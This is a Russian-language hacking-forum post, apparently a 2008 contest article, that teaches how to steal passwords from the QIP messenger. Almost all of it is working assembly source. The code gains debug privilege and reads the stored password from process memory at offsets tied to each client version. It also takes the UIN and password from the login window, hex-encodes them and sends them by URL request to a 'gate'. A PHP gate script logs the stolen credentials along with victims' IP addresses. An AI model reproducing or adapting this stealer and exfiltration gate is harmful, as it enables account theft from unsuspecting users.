|
Познавший АНТИЧАТ
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме: 3288241
Репутация:
3349
|
|
Выдирание пароля из Qip
Выдирание пароля из QIP Методы:
1. Напрямую копирование из памяти
2. Чтение из поля ввода пароля
Алгоритм работы:
1. Нам необходимо получить привелегии отладчика чтобы 100% иметь доступ на чтение памяти другова процесса. Это реализуем следующим образом:
Код:
proc SetDBG
push ebp
mov ebp,esp ; сохраним значение стека
sub esp,24h ; выделим место в стеке под переменные
invoke OpenProcessToken, -1, 28h, esp
test eax,eax
jz @F
lea eax, [esp+8]
invoke LookupPrivilegeValue, 0,SeDebugPrivilege, eax ;
test eax,eax
jz @F
mov dword [esp+14h],1
mov eax, [esp+8]
mov [esp+18h], eax
mov eax, [esp+0Ch]
mov [esp+1Ch], eax
mov dword [esp+20h], 2
lea eax, [esp+10h]
push eax
lea eax, [esp+18h]
push eax
push 10h
lea eax, [esp+20h]
push eax
push 0
mov eax, [esp+14h]
push eax
call [AdjustTokenPrivileges] ; установка привелегии
@@:
leave
ret
endp
2. Чтение пароля из памяти QIP
Код:
proc QIP_MEM
invoke FindWindow,TMainForm,0 ; ищем окно QIP
QIP_MEM_next:
test eax,eax
mov [h],eax ; сохраним handle
jz QIP_MEM_exit
invoke GetWindowText,eax,buf,20 ; считаем заголовок окна
cmp dword [buf],'[qip' ; проверим правильность
jne QIP_MEM_next1
invoke GetWindowThreadProcessId,[h],PID ; получим PID процесса по handle окна
stdcall AddToBuf,buf+8 ; добавим к посылаемому буферу часть заголовка окна, котоаря содержит UIN
stdcall AddToBuf,dvoetochie ; разделитель
stdcall GetPas,[PID] ; непосредственно получение пароля зная PID
stdcall AddToBuf,buf ; закинем в буфер полученный пароль
stdcall AddToBuf,tzap ; разделитель записей
QIP_MEM_next1:
invoke GetWindow,[h],2 ; ищем следующее окно аськи. т.е. копий может быть много
jmp QIP_MEM_next
QIP_MEM_exit:
ret
endp
Теперь разберем непосредственно функцию чтения пароля из памяти:
Код:
proc GetPas,PID
stdcall GetFileVer,[PID] ; для начала получаем версию файла
xor ecx,ecx
dec ecx
GetPas_m1:
inc ecx
cmp ecx,8
je GetPas_exit
cmp eax,[VER_MAS+ecx*4] ; сверяем версию файла с поддерживаемой версией
jne GetPas_m1
; nтепер мы знаем offset по которому лежит пас.
stdcall ReadData,[PID],[ADR_MAS+ecx*4] читаем пас
GetPas_exit:
ret
endp
Таблица соотношения версии файла и offseta:
VER_MAS dd 07090801h,07090900h,07090905h,07090907h,07090908h, 08000000h,08000100h,08000200h
ADR_MAS dd 0068128Ch,006862B4h,0068B2D0h,006962ECh,0069574Ch, 006972ECh,0069F580h,0069F57Ch
Для определения версии файла используем функцию:
Код:
proc GetFileVer,PID
invoke CreateToolhelp32Snapshot,0000000Fh, [PID] ; получим инфу о модулях процесса аськи
test eax,eax
jz GetFileVer_exit
mov [Handle],eax
mov ebx,[MODULEENTRY32]
mov dword [ebx],548
invoke Module32First,eax,ebx ; получим имя первого модуля - это сам файл программы
test eax,eax
jz GetFileVer_exit
invoke CloseHandle,[Handle] ж закрое дискриптор
add ebx,288 ; смещение на имя файла
invoke GetFileVersionInfoSize,ebx, Handle ; получаем размер записи отведенной под инфу о файле
test eax,eax
jz GetFileVer_exit
mov [Size],eax
invoke HeapAlloc,[myheap],0,eax
mov [RezBuffer],eax
invoke GetFileVersionInfo,ebx,Handle, [Size], eax ; получаем инфу о файле
test eax,eax
jz GetFileVer_exit
invoke VerQueryValue,[RezBuffer], slash, FixedFileInfoBuf, Size ; получаем версию файла
test eax,eax
jz GetFileVer_exit
; конвертируем значения в удобный для нас вид
mov ebx,[FixedFileInfoBuf]
mov eax,[ebx+8]
shr eax,16
mov byte [Size+3],al
mov eax,[ebx+8]
mov byte [Size+2],al
mov eax,[ebx+12]
shr eax,16
mov byte [Size+1],al
mov eax,[ebx+12]
mov byte [Size],al
mov eax,[Size]
GetFileVer_exit:
ret
endp
Чтение осуществим следующим образом:
Код:
proc ReadData PID,ADR
invoke OpenProcess,0410h, 0, [PID] ; откроем процесс
test eax,eax
jz ReadData_exit
mov [hp],eax
invoke ReadProcessMemory,eax, [ADR], Size, 4, [t] ; считаем offset на пас
invoke ReadProcessMemory,[hp], [Size], buf, 10, [t] ; считаем пасс
invoke CloseHandle,[hp]
ReadData_exit:
ret
endp
3. Чтение пароля из поля ввода
Код:
proc QIP_WND
invoke FindWindow,TManForm,0 ; найдем окно
cicle2:
test eax,eax
jz QIP_WND_exit
push eax
stdcall QIP_WND_GETPASS,eax ; считаем из него пасс
pop eax
invoke GetWindow,eax,2 ; ищем следующее окно
jmp cicle2
QIP_WND_exit:
ret
endp
Непосредственно процедуру чтения оформим так:
Код:
proc QIP_WND_GETPASS,hManForm
invoke FindWindowEx,[hManForm],0,TGroupBox,0 ; найдем handle TGroupBox этого окна
test eax,eax
jz QIP_WND_GETPASS_exit
push eax
invoke FindWindowEx,eax,0,TComboBox,0 ; в нем найдем cписок UIN
test eax,eax
jz QIP_WND_GETPASS_exit
invoke SendMessage,eax, WM_GETTEXT, 10, buf ; считаем UIN
xor ecx,ecx
cicle: ; отделяем UIN от лишнего текста
cmp ecx,20
je nextt
inc ecx
cmp byte [buf+ecx],' '
jne cicle
mov byte [buf+ecx],0
nextt:
stdcall AddToBuf,buf ; добавим UIN в отправляемому буферу
pop eax
invoke FindWindowEx,eax,0,TEdit,0 ; теперь найдем поле ввода пароля
test eax,eax
jz QIP_WND_GETPASS_exit
invoke SendMessage,eax, WM_GETTEXT, 20, buf ; считаем пароль из него
stdcall AddToBuf,dvoetochie ; разделитель UIN:PASS
stdcall AddToBuf,buf ; добавим к буферу
stdcall AddToBuf,tzap ; конец записи
QIP_WND_GETPASS_exit:
ret
endp
4. Теперь необходимо отправить всю полученную информацию
Код:
invoke lstrlen,[buffer] ; получим длинну наших данных
test eax,eax
jnz dalee
invoke ExitProcess,0 ; если ничего не на собирали то и отправлять не нужно
dalee: ; для удобства отправки переведем полученный буфер в HEX
mov [Size],eax ; размер буфера
shl eax,2 ; умножим на 2. т.к. данных станет в 2 раза больше
invoke HeapAlloc,[myheap],0,eax ; выделим память
invoke lstrcpy,eax,url_start ;закинем в буфер адрес нашего гейта
dec edx
xor ecx,ecx
cicle4: ; преборазование в HEX
mov eax,[buffer]
mov ah,[eax+ecx]
mov al,ah
shr ah,4
and al,0fh
mov ebx,table
xlatb
xchg ah,al
xlatb
mov word [edx+ecx*2],ax
inc ecx
cmp ecx,[Size]
jne cicle4
mov byte [edx+ecx*2],0
sub edx,url_end-url_start ; вернемся к началу буфера
invoke URLDownloadToFile,0,edx,TEdit,0,0 ; сделаем запрос на скачевание файла в котором передадим собранные данные.
invoke ExitProcess,0
Функцию добавления в буфер используем для уменьшения размера и вообще для удобства
Код:
proc AddToBuf,add_buf
invoke lstrcat,[buffer],[add_buf]
ret
endp
Данные которые нам понадобятся для осуществления всех операций
Код:
table db '0123456789ABCDEF' ; для конвертирования в HEX
SeDebugPrivilege db 'SeDebugPrivilege',0 ; для получения привелегий отладчика
slash db '\',0
dvoetochie db ':',0 ; разделитель UIN - PASS
tzap db '[-]',0 ; конц пары UIN:PASS
; название компонентов
TGroupBox db 'TGroupBox',0
TComboBox db 'TComboBox',0
TManForm db 'TManForm',0
TMainForm db 'TMainForm',0
TmainFrm db 'TmainFrm',0
TEdit db 'TEdit',0
TprefFrm db 'TprefFrm',0
TPanel db 'TPanel',0
TconnectionFr db 'TconnectionFr',0
url_start db 'http://127.0.0.1/stat.php?data=' ; адрес гейта
url_end db 0
5. Непосредственно сам гейт
Код:
<?
$data=$_GET['data']; // наши данные
$out='';
$f=fopen('ICQ.txt','a+'); // файл куда будем кидать
while ($x<strlen($data)) // конвертим из HEX в нормальный вид
{
$temp=$data[$x].$data[$x+1];
$out.=chr(HexDec($temp));
$x+=2;
}
fputs($f,date("d.m.Y H:i:s").'[-]'.getenv("REMOTE_ADDR").'[-]'.$out."\r\n"); // запишем в файл полученный результат.
fclose($f);
?>
Полный исходный код + поддержка &RC берем от сюда
http://forum.antichat.ru/thread71678.html
-------------------------
De-V: СТАТЬЯ В КОНКУРСЕ
Последний раз редактировалось De-visible; 29.05.2008 в 10:17..
|